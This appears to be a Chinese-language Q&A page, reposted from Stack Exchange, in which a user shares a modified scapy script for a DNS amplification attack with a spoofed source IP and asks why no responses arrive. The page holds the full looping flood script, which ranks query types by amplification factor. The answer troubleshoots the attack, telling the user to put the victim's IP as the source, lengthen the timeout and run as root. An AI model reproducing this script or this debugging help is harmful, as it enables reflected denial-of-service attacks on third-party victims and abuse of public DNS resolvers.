DNS放大攻击本地生效但网络环境无响应,请求排查原因
问题
我基于某开源代码做了少量修改,用来复现DNS放大攻击(学校作业)。当我伪造他人IP运行脚本时,Wireshark能抓到发出的DNS请求,但完全看不到DNS响应。换过热点、其他网络,调整过IP,甚至换了不同版本的同原理代码,都没效果。想知道是ISP拦截了攻击,还是程序本身有问题?
附上修改后的代码:
# Imports from scapy.all import * from pprint import pprint import operator # Parameters interface = "eth0" # Interface you want to use dns_source = "local-ip" # IP of that interface dns_destination = ["ip1", "ip2", "ip3"] # List of DNS Server IPs time_to_live = 128 # IP TTL query_name = "google.com" # DNS Query Name query_type = ["ANY", "A", "AAAA", "CNAME", "MX", "NS", "PTR", "CERT", "SRV", "TXT", "SOA"] # DNS Query Types # Initialise variables results = [] packet_number = 0 for i in range(1000): # Loop through all query types then all DNS servers for i in range(0, len(query_type)): for j in range(0, len(dns_destination)): packet_number += 1 # Craft the DNS query packet with scapy packet = IP( src=dns_source, dst=dns_destination[j], ttl=time_to_live) / UDP() / DNS(rd=1, qd=DNSQR(qname=query_name, qtype=query_type[ i])) # Sending the packet try: query = sr1(packet, iface=interface, verbose=False, timeout=0.01) print("Packet #{} sent!".format(packet_number)) except: print("Error sending packet #{}".format(packet_number)) # Creating dictionary with received information try: result_dict = { 'dns_destination': dns_destination[j], 'query_type': query_type[i], 'query_size': len(packet), 'response_size': len(query), 'amplification_factor': (len(query) / len(packet)), 'packet_number': packet_number } results.append(result_dict) except: pass # Sort dictionary by the amplification factor results.sort(key=operator.itemgetter('amplification_factor'), reverse=True) # Print results pprint(results)
可能的原因及排查建议
ISP拦截是大概率原因:目前几乎所有主流运营商都会检测并拦截源IP伪造的UDP流量(尤其是DNS这类常用于放大攻击的协议),防止网络被滥用。换热点或其他网络无效,是因为这类防护机制在运营商层面生效,和接入方式无关。
程序本身的潜在问题:
- 源IP配置错误:代码中
dns_source字段写的是"local-ip",如果要伪造他人IP,这里必须替换成目标受害者的IP,而不是自身网卡的本地IP。若配置错误,要么未实现源IP伪造,要么伪造的IP不可达,DNS服务器的响应根本无法返回。 - 超时设置过短:
sr1函数的timeout=0.01仅为10毫秒,DNS响应可能还未返回就被判定为超时,建议将超时时间调整为1-2秒。 - DNS服务器选择不当:
dns_destination中的IP可能是不支持递归查询的服务器,或本身封禁了伪造源IP的请求。可先替换为公开的支持递归的DNS服务器(如8.8.8.8),在不伪造源IP的情况下测试是否能收到响应,排除服务器本身的问题。 - 权限不足:发送伪造IP的数据包需要root/管理员权限,若未以高权限运行脚本,可能导致数据包未正常发送(即使Wireshark抓到请求,也需确认权限问题)。
- 循环变量冲突:外层循环使用
for i in range(1000),内层又用for i in range(0, len(query_type)),会覆盖外层的i变量,虽不影响核心功能,但可能导致逻辑混乱,建议将内层循环变量改为q_type_idx之类的名称。
- 源IP配置错误:代码中
验证方法:
- 关闭源IP伪造测试:将
dns_source改为自身真实公网IP,运行脚本查看是否能收到DNS响应。若能收到,说明程序基本正常,问题出在ISP拦截伪造流量。 - 确认请求是否到达服务器:若作业允许,使用可查看请求日志的DNS服务器,或在线DNS工具,确认伪造源IP的请求是否真的到达服务器。若服务器未收到,说明ISP拦截了流量;若收到但无响应,可能是服务器拒绝了伪造源IP的请求。
- 关闭源IP伪造测试:将
内容的提问来源于stack exchange,提问作者Wannes Paesschesoone
相关产品推荐
相关产品推荐

